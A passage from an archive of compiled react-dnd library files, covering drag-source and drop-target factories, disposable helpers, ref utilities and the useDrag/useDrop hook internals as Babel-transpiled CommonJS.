      return this.spec.canDrag(this.props, this.monitor);
    }
  }, {
    key: "isDragging",
    value: function isDragging(globalMonitor, sourceId) {
      if (!this.props) {
        return false;
      }

      if (!this.spec.isDragging) {
        return sourceId === globalMonitor.getSourceId();
      }

      return this.spec.isDragging(this.props, this.monitor);
    }
  }, {
    key: "endDrag",
    value: function endDrag() {
      if (!this.props) {
        return;
      }

      if (!this.spec.endDrag) {
        return;
      }

      this.spec.endDrag(this.props, this.monitor, (0, _utils.getDecoratedComponent)(this.ref));
    }
  }]);

  return SourceImpl;
}();

function createSourceFactory(spec) {
  Object.keys(spec).forEach(function (key) {
    (0, _invariant.invariant)(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drag source specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', ALLOWED_SPEC_METHODS.join(', '), key);
    (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
  });
  REQUIRED_SPEC_METHODS.forEach(function (key) {
    (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drag source specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', key, key, spec[key]);
  });
  return function createSource(monitor, ref) {
    return new SourceImpl(spec, monitor, ref);
  };
}cjs/decorators/createTargetFactory.js000064400000006413151677306070014010 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createTargetFactory = createTargetFactory;

var _invariant = require("@react-dnd/invariant");

var _js_utils = require("../utils/js_utils");

var _utils = require("./utils");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var ALLOWED_SPEC_METHODS = ['canDrop', 'hover', 'drop'];

var TargetImpl = /*#__PURE__*/function () {
  function TargetImpl(spec, monitor, ref) {
    _classCallCheck(this, TargetImpl);

    this.props = null;
    this.spec = spec;
    this.monitor = monitor;
    this.ref = ref;
  }

  _createClass(TargetImpl, [{
    key: "receiveProps",
    value: function receiveProps(props) {
      this.props = props;
    }
  }, {
    key: "receiveMonitor",
    value: function receiveMonitor(monitor) {
      this.monitor = monitor;
    }
  }, {
    key: "canDrop",
    value: function canDrop() {
      if (!this.spec.canDrop) {
        return true;
      }

      return this.spec.canDrop(this.props, this.monitor);
    }
  }, {
    key: "hover",
    value: function hover() {
      if (!this.spec.hover || !this.props) {
        return;
      }

      this.spec.hover(this.props, this.monitor, (0, _utils.getDecoratedComponent)(this.ref));
    }
  }, {
    key: "drop",
    value: function drop() {
      if (!this.spec.drop) {
        return undefined;
      }

      var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current);

      if (process.env.NODE_ENV !== 'production') {
        (0, _invariant.invariant)(typeof dropResult === 'undefined' || (0, _js_utils.isPlainObject)(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult);
      }

      return dropResult;
    }
  }]);

  return TargetImpl;
}();

function createTargetFactory(spec) {
  Object.keys(spec).forEach(function (key) {
    (0, _invariant.invariant)(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS.join(', '), key);
    (0, _invariant.invariant)(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]);
  });
  return function createTarget(monitor, ref) {
    return new TargetImpl(spec, monitor, ref);
  };
}cjs/decorators/disposables.js000064400000015272151677306070012361 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.SerialDisposable = exports.CompositeDisposable = exports.Disposable = void 0;

var _js_utils = require("../utils/js_utils");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

/**
 * Provides a set of static methods for creating Disposables.
 * @param {Function} action Action to run during the first call to dispose.
 * The action is guaranteed to be run at most once.
 */
var Disposable =
/** @class */
function () {
  var Disposable = /*#__PURE__*/function () {
    function Disposable(action) {
      _classCallCheck(this, Disposable);

      this.isDisposed = false;
      this.action = (0, _js_utils.isFunction)(action) ? action : _js_utils.noop;
    }
    /**
     * Validates whether the given object is a disposable
     * @param {Object} Object to test whether it has a dispose method
     * @returns {Boolean} true if a disposable object, else false.
     */


    _createClass(Disposable, [{
      key: "dispose",

      /** Performs the task of cleaning up resources. */
      value: function dispose() {
        if (!this.isDisposed) {
          this.action();
          this.isDisposed = true;
        }
      }
    }], [{
      key: "isDisposable",
      value: function isDisposable(d) {
        return Boolean(d && (0, _js_utils.isFunction)(d.dispose));
      }
    }, {
      key: "_fixup",
      value: function _fixup(result) {
        return Disposable.isDisposable(result) ? result : Disposable.empty;
      }
      /**
       * Creates a disposable object that invokes the specified action when disposed.
       * @param {Function} dispose Action to run during the first call to dispose.
       * The action is guaranteed to be run at most once.
       * @return {Disposable} The disposable object that runs the given action upon disposal.
       */

    }, {
      key: "create",
      value: function create(action) {
        return new Disposable(action);
      }
    }]);

    return Disposable;
  }();
  /**
   * Gets the disposable that does nothing when disposed.
   */


  Disposable.empty = {
    dispose: _js_utils.noop
  };
  return Disposable;
}();

exports.Disposable = Disposable;

/**
 * Represents a group of disposable resources that are disposed together.
 * @constructor
 */
var CompositeDisposable = /*#__PURE__*/function () {
  function CompositeDisposable() {
    _classCallCheck(this, CompositeDisposable);

    this.isDisposed = false;

    for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) {
      disposables[_key] = arguments[_key];
    }

    this.disposables = disposables;
  }
  /**
   * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed.
   * @param {Any} item Disposable to add.
   */


  _createClass(CompositeDisposable, [{
    key: "add",
    value: function add(item) {
      if (this.isDisposed) {
        item.dispose();
      } else {
        this.disposables.push(item);
      }
    }
    /**
     * Removes and disposes the first occurrence of a disposable from the CompositeDisposable.
     * @param {Any} item Disposable to remove.
     * @returns {Boolean} true if found; false otherwise.
     */

  }, {
    key: "remove",
    value: function remove(item) {
      var shouldDispose = false;

      if (!this.isDisposed) {
        var idx = this.disposables.indexOf(item);

        if (idx !== -1) {
          shouldDispose = true;
          this.disposables.splice(idx, 1);
          item.dispose();
        }
      }

      return shouldDispose;
    }
    /**
     *  Disposes all disposables in the group and removes them from the group but
     *  does not dispose the CompositeDisposable.
     */

  }, {
    key: "clear",
    value: function clear() {
      if (!this.isDisposed) {
        var len = this.disposables.length;
        var currentDisposables = new Array(len);

        for (var i = 0; i < len; i++) {
          currentDisposables[i] = this.disposables[i];
        }

        this.disposables = [];

        for (var _i = 0; _i < len; _i++) {
          currentDisposables[_i].dispose();
        }
      }
    }
    /**
     *  Disposes all disposables in the group and removes them from the group.
     */

  }, {
    key: "dispose",
    value: function dispose() {
      if (!this.isDisposed) {
        this.isDisposed = true;
        var len = this.disposables.length;
        var currentDisposables = new Array(len);

        for (var i = 0; i < len; i++) {
          currentDisposables[i] = this.disposables[i];
        }

        this.disposables = [];

        for (var _i2 = 0; _i2 < len; _i2++) {
          currentDisposables[_i2].dispose();
        }
      }
    }
  }]);

  return CompositeDisposable;
}();
/**
 * Represents a disposable resource whose underlying disposable resource can
 * be replaced by another disposable resource, causing automatic disposal of
 * the previous underlying disposable resource.
 */


exports.CompositeDisposable = CompositeDisposable;

var SerialDisposable = /*#__PURE__*/function () {
  function SerialDisposable() {
    _classCallCheck(this, SerialDisposable);

    this.isDisposed = false;
  }
  /**
   * Gets the underlying disposable.
   * @returns {Any} the underlying disposable.
   */


  _createClass(SerialDisposable, [{
    key: "getDisposable",
    value: function getDisposable() {
      return this.current;
    }
  }, {
    key: "setDisposable",
    value: function setDisposable(value) {
      var shouldDispose = this.isDisposed;

      if (!shouldDispose) {
        var old = this.current;
        this.current = value;

        if (old) {
          old.dispose();
        }
      }

      if (shouldDispose && value) {
        value.dispose();
      }
    }
    /** Performs the task of cleaning up resources. */

  }, {
    key: "dispose",
    value: function dispose() {
      if (!this.isDisposed) {
        this.isDisposed = true;
        var old = this.current;
        this.current = undefined;

        if (old) {
          old.dispose();
        }
      }
    }
  }]);

  return SerialDisposable;
}();

exports.SerialDisposable = SerialDisposable;cjs/decorators/interfaces.js000064400000000015151677306070012161 0ustar00"use strict";cjs/utils/isRef.js000064400000001242151677306070010104 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.isRef = isRef;

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function isRef(obj) {
  return (// eslint-disable-next-line no-prototype-builtins
    obj !== null && _typeof(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current')
  );
}cjs/utils/cloneWithRef.js000064400000002045151677306070011427 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.cloneWithRef = cloneWithRef;

var _react = require("react");

var _invariant = require("@react-dnd/invariant");

function setRef(ref, node) {
  if (typeof ref === 'function') {
    ref(node);
  } else {
    ref.current = node;
  }
}

function cloneWithRef(element, newRef) {
  var previousRef = element.ref;
  (0, _invariant.invariant)(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute');

  if (!previousRef) {
    // When there is no ref on the element, use the new ref directly
    return (0, _react.cloneElement)(element, {
      ref: newRef
    });
  } else {
    return (0, _react.cloneElement)(element, {
      ref: function ref(node) {
        setRef(previousRef, node);
        setRef(newRef, node);
      }
    });
  }
}cjs/utils/isValidType.js000064400000001306151677306070011272 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.isValidType = isValidType;

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function isValidType(type, allowArray) {
  return typeof type === 'string' || _typeof(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) {
    return isValidType(t, false);
  });
}cjs/interfaces/hooksApi.js000064400000000015151677306070011571 0ustar00"use strict";cjs/interfaces/monitors.js000064400000000015151677306070011666 0ustar00"use strict";cjs/interfaces/index.js000064400000002257151677306070011135 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});

var _monitors = require("./monitors");

Object.keys(_monitors).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _monitors[key];
    }
  });
});

var _hooksApi = require("./hooksApi");

Object.keys(_hooksApi).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _hooksApi[key];
    }
  });
});

var _options = require("./options");

Object.keys(_options).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _options[key];
    }
  });
});

var _connectors = require("./connectors");

Object.keys(_connectors).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _connectors[key];
    }
  });
});cjs/interfaces/connectors.js000064400000000015151677306070012171 0ustar00"use strict";cjs/interfaces/options.js000064400000000015151677306070011507 0ustar00"use strict";cjs/hooks/useDrop.js000064400000005603151677306070010445 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDrop = useDrop;

var _react = require("react");

var _invariant = require("@react-dnd/invariant");

var _useMonitorOutput = require("./internal/useMonitorOutput");

var _useIsomorphicLayoutEffect = require("./internal/useIsomorphicLayoutEffect");

var _drop = require("./internal/drop");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

/**
 * useDropTarget Hook
 * @param spec The drop target specification
 */
function useDrop(spec) {
  var specRef = (0, _react.useRef)(spec);
  specRef.current = spec;
  (0, _invariant.invariant)(spec.accept != null, 'accept must be defined');

  var _useDropTargetMonitor = (0, _drop.useDropTargetMonitor)(),
      _useDropTargetMonitor2 = _slicedToArray(_useDropTargetMonitor, 2),
      monitor = _useDropTargetMonitor2[0],
      connector = _useDropTargetMonitor2[1];

  (0, _drop.useDropHandler)(specRef, monitor, connector);
  var result = (0, _useMonitorOutput.useMonitorOutput)(monitor, specRef.current.collect || function () {
    return {};
  }, function () {
    return connector.reconnect();
  });
  var connectDropTarget = (0, _react.useMemo)(function () {
    return connector.hooks.dropTarget();
  }, [connector]);
  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function () {
    connector.dropTargetOptions = spec.options || null;
    connector.reconnect();
  }, [spec.options]);
  return [result, connectDropTarget];
}cjs/hooks/internal/drag.js000064400000011202151677306070011545 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDragSourceMonitor = useDragSourceMonitor;
exports.useDragHandler = useDragHandler;

var _react = require("react");

var _invariant = require("@react-dnd/invariant");

var _registration = require("../../common/registration");

var _useDragDropManager = require("../useDragDropManager");

var _DragSourceMonitorImpl = require("../../common/DragSourceMonitorImpl");

var _SourceConnector = require("../../common/SourceConnector");

var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function useDragSourceMonitor() {
  var manager = (0, _useDragDropManager.useDragDropManager)();
  var monitor = (0, _react.useMemo)(function () {
    return new _DragSourceMonitorImpl.DragSourceMonitorImpl(manager);
  }, [manager]);
  var connector = (0, _react.useMemo)(function () {
    return new _SourceConnector.SourceConnector(manager.getBackend());
  }, [manager]);
  return [monitor, connector];
}

function useDragHandler(spec, monitor, connector) {
  var manager = (0, _useDragDropManager.useDragDropManager)();
  var handler = (0, _react.useMemo)(function () {
    return {
      beginDrag: function beginDrag() {
        var _spec$current = spec.current,
            begin = _spec$current.begin,
            item = _spec$current.item;

        if (begin) {
          var beginResult = begin(monitor);
          (0, _invariant.invariant)(beginResult == null || _typeof(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null');
          return beginResult || item || {};
        }

        return item || {};
      },
      canDrag: function canDrag() {
        if (typeof spec.current.canDrag === 'boolean') {
          return spec.current.canDrag;
        } else if (typeof spec.current.canDrag === 'function') {
          return spec.current.canDrag(monitor);
        } else {
          return true;
        }
      },
      isDragging: function isDragging(globalMonitor, target) {
        var isDragging = spec.current.isDragging;
        return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId();
      },
      endDrag: function endDrag() {
        var end = spec.current.end;

        if (end) {
          end(monitor.getItem(), monitor);
        }

        connector.reconnect();
      }
    };
  }, []);
  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function registerHandler() {
    var _registerSource = (0, _registration.registerSource)(spec.current.item.type, handler, manager),
        _registerSource2 = _slicedToArray(_registerSource, 2),
        handlerId = _registerSource2[0],
        unregister = _registerSource2[1];

    monitor.receiveHandlerId(handlerId);
    connector.receiveHandlerId(handlerId);
    return unregister;
  }, []);
}cjs/hooks/internal/useIsomorphicLayoutEffect.js000064400000000576151677306070016010 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useIsomorphicLayoutEffect = void 0;

var _react = require("react");

// suppress the useLayoutEffect warning on server side.
var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? _react.useLayoutEffect : _react.useEffect;
exports.useIsomorphicLayoutEffect = useIsomorphicLayoutEffect;cjs/hooks/internal/useMonitorOutput.js000064400000004553151677306070014230 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useMonitorOutput = useMonitorOutput;

var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect");

var _useCollector3 = require("./useCollector");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function useMonitorOutput(monitor, collect, onCollect) {
  var _useCollector = (0, _useCollector3.useCollector)(monitor, collect, onCollect),
      _useCollector2 = _slicedToArray(_useCollector, 2),
      collected = _useCollector2[0],
      updateCollected = _useCollector2[1];

  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function subscribeToMonitorStateChange() {
    var handlerId = monitor.getHandlerId();

    if (handlerId == null) {
      return undefined;
    }

    return monitor.subscribeToStateChange(updateCollected, {
      handlerIds: [handlerId]
    });
  }, [monitor, updateCollected]);
  return collected;
}cjs/hooks/internal/drop.js000064400000007043151677306070011604 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDropTargetMonitor = useDropTargetMonitor;
exports.useDropHandler = useDropHandler;

var _react = require("react");

var _registration = require("../../common/registration");

var _useDragDropManager = require("../useDragDropManager");

var _TargetConnector = require("../../common/TargetConnector");

var _DropTargetMonitorImpl = require("../../common/DropTargetMonitorImpl");

var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function useDropTargetMonitor() {
  var manager = (0, _useDragDropManager.useDragDropManager)();
  var monitor = (0, _react.useMemo)(function () {
    return new _DropTargetMonitorImpl.DropTargetMonitorImpl(manager);
  }, [manager]);
  var connector = (0, _react.useMemo)(function () {
    return new _TargetConnector.TargetConnector(manager.getBackend());
  }, [manager]);
  return [monitor, connector];
}

function useDropHandler(spec, monitor, connector) {
  var manager = (0, _useDragDropManager.useDragDropManager)();
  var handler = (0, _react.useMemo)(function () {
    return {
      canDrop: function canDrop() {
        var canDrop = spec.current.canDrop;
        return canDrop ? canDrop(monitor.getItem(), monitor) : true;
      },
      hover: function hover() {
        var hover = spec.current.hover;

        if (hover) {
          hover(monitor.getItem(), monitor);
        }
      },
      drop: function drop() {
        var drop = spec.current.drop;

        if (drop) {
          return drop(monitor.getItem(), monitor);
        }
      }
    };
  }, [monitor]);
  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(function registerHandler() {
    var _registerTarget = (0, _registration.registerTarget)(spec.current.accept, handler, manager),
        _registerTarget2 = _slicedToArray(_registerTarget, 2),
        handlerId = _registerTarget2[0],
        unregister = _registerTarget2[1];

    monitor.receiveHandlerId(handlerId);
    connector.receiveHandlerId(handlerId);
    return unregister;
  }, [monitor, connector]);
}cjs/hooks/internal/useCollector.js000064400000005271151677306070013304 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useCollector = useCollector;

var _shallowequal = require("@react-dnd/shallowequal");

var _react = require("react");

var _useIsomorphicLayoutEffect = require("./useIsomorphicLayoutEffect");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

/**
 *
 * @param monitor The monitor to collect state from
 * @param collect The collecting function
 * @param onUpdate A method to invoke when updates occur
 */
function useCollector(monitor, collect, onUpdate) {
  var _useState = (0, _react.useState)(function () {
    return collect(monitor);
  }),
      _useState2 = _slicedToArray(_useState, 2),
      collected = _useState2[0],
      setCollected = _useState2[1];

  var updateCollected = (0, _react.useCallback)(function () {
    var nextValue = collect(monitor);

    if (!(0, _shallowequal.shallowEqual)(collected, nextValue)) {
      setCollected(nextValue);

      if (onUpdate) {
        onUpdate();
      }
    }
  }, [collected, monitor, onUpdate]); // update the collected properties after the first render
  // and the components are attached to dnd-core

  (0, _useIsomorphicLayoutEffect.useIsomorphicLayoutEffect)(updateCollected, []);
  return [collected, updateCollected];
}cjs/hooks/index.js000064400000002333151677306070010130 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});

var _useDrag = require("./useDrag");

Object.keys(_useDrag).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _useDrag[key];
    }
  });
});

var _useDrop = require("./useDrop");

Object.keys(_useDrop).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _useDrop[key];
    }
  });
});

var _useDragLayer = require("./useDragLayer");

Object.keys(_useDragLayer).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _useDragLayer[key];
    }
  });
});

var _useDragDropManager = require("./useDragDropManager");

Object.keys(_useDragDropManager).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _useDragDropManager[key];
    }
  });
});cjs/hooks/useDrag.js000064400000006544151677306070010423 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.useDrag = useDrag;

var _react = require("react");

var _invariant = require("@react-dnd/invariant");

var _useMonitorOutput = require("./internal/useMonitorOutput");

var _useIsomorphicLayoutEffect = require("./internal/useIsomorphicLayoutEffect");

var _drag = require("./internal/drag");

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

